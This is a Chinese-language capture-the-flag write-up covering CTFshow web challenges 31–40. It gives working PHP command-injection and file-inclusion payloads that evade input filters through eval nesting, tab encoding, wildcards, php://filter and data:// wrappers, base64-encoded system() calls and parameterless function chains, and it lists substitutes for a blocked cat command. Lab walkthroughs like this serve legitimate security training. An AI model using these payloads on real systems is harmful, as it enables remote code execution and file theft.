1. 程式人生 > 其它 >《CTFshow - Web入門》04. Web 31~40

《CTFshow - Web入門》04. Web 31~40

目錄

web31

知識點

這裡依舊可以用到 web29 的方法:

  • 巢狀eval逃逸引數

當然,能多學一點自然是要多學一點。要像韓跑跑一樣多留後手(不是

  • url編碼
  • Linux:萬用字元、其他命令

題解

過濾了空格、點、單引號和cat


方法一

經典逃逸

url + ?c=eval($_GET[1]);&1=system('tac flag.php');


方法二

空格的繞過可以使用 %09 (tab)
使用萬用字元來匹配檔案

url + ?c=echo%09`tac%09fl*`;


方法三
利用無引數函式:

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));


等多種方法

cat被過濾的解決方案:
more:一頁一頁的顯示檔案內容
less:與 more 類似
head:檢視頭幾行
tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:檢視尾幾行
nl:顯示的時候,順便輸出行號
od:以二進位制的方式讀取檔案內容
vi:一種編輯器,這個也可以檢視
vim:一種編輯器,這個也可以檢視
sort:可以檢視
uniq:可以檢視
file -f:報錯出具體內容

web32

知識點

  • PHP:偽協議、檔案包含、php程式碼的閉合。

題解

原始碼過濾了分號,echo,反引號,單引號,括號,分號。但沒有過濾雙引號。


方法一
巢狀include檔案包含,利用偽協議檔案包含。
過濾了分號,那麼可以直接 ?> 閉合php( ?> 閉合的是eval裡面的php語句,eval後續還有語句的話,依舊是會執行的。除此以外,php程式碼最後一句可以不用加分號)

url + ?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

得到base64編碼過後的原始碼。

原理大概就是,這裡傳了兩個引數,
第一個引數c的內容是 include$_GET["a"]?>,
第二個引數a,不受後邊匹配條件的影響。
即後面的php協議不會受到正則的約束
include傳參實現檔案包含,利用php偽協議就可以讀取flag.php檔案。
這裡,也可以用$_POST,那麼後續傳參就通過post傳參。

方法二

與方法一大同小異

url + ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

web33

知識點

  • PHP:偽協議、檔案包含

題解

在上一題的基礎上過濾了雙引號。


方法一
既然過濾了雙引號,那就直接加變數名。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

知識點

  • PHP:偽協議、檔案包含

題解

相比上題過濾了個冒號。不過並沒有影響。繼續用上一題的payload。

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

得到flag

web35

知識點

  • PHP:偽協議、檔案包含

題解

相比上題過濾了 < 和 = 。不過還是沒有影響。


繼續沿用上一題payload

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

不要被迷惑了,第一個等號是用來傳參的

得手

web36

知識點

  • PHP:偽協議、檔案包含

題解

過濾了0-9的數字和反斜槓
(數字過濾是因為可以用數字傳參,$_GET[1],所以這裡把數字過濾了)


但還是無法阻止我們閉合php,把陣列的鍵改為英文就可以了,比如a。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

知識點

  • PHP:偽協議(data://)、檔案包含
$c = 'data://text/plain,<?php echo hello?>';
include($c);

//php中,以上程式碼相當於包含了 <?php echo hello?>

題解

本題直接提供了一個include函式


方法一

data偽協議配合萬用字元繞過

url + ?c=data://text/plain,<?php system('cat fl*')?>


方法二

利用base64編解碼

先對 <?php system("cat flag.php");?> 進行base64編碼


再利用偽協議傳輸

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web38

知識點

  • PHP:偽協議(data://)、檔案包含、短標籤

題解


解法一

可以繼續沿用上一題的payload。

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==


解法二

php程式碼這裡可以使用php短標籤進行繞過,flag.php 可繼續用萬用字元 ? 繞過

url + ?c=data://text/plain,<?=system('tac fla?.???')?>

解法三

nginx的日誌檔案/var/log/nginx/access.log

題目提示可以通過包含日誌檔案拿shell。

這個方法試了幾次,雖然蟻劍連上了,但檢視不了檔案。
先這樣吧,之後再來試一試

web39

知識點

  • PHP:偽協議(data://)、檔案包含

題解

會在後面拼接一個 .php,但是過濾了flag


解法一

閉合 include函式,讓拼接不執行

url + ?c=data://text/plain,<?php system('cat fl*')?>)?><?php


解法二

其實不用做其他處理,直接用萬用字元代替傳參即可

url + ?c=data://text/plain,<?php system('cat fl*')?>


因為.php 前面的php語句已經閉合了,所以後面的.php會被當成html頁面直接顯示在頁面上。

data://text/plain ,這樣就相當於執行了php語句。.php 因為前面的php語句已經閉合了,所以後面的 .php 會被當成html頁面直接顯示在頁面上,起不到什麼作用

web40

知識點

  • 無引數函式

題解

過濾了很多東西,但是下面是eval,可以直接函式執行


而且,仔細看,其中的括號過濾是中文全形的括號,而非半形的英文括號

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    eval($c);
}

所以還是可以使用括號。

解法一

使用無引數函式。

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));


解法二

題中還給了另一個解法,使用session:輸入 ?c=session_start();system(session_id());
這個解法也先放一放,之後再來試試。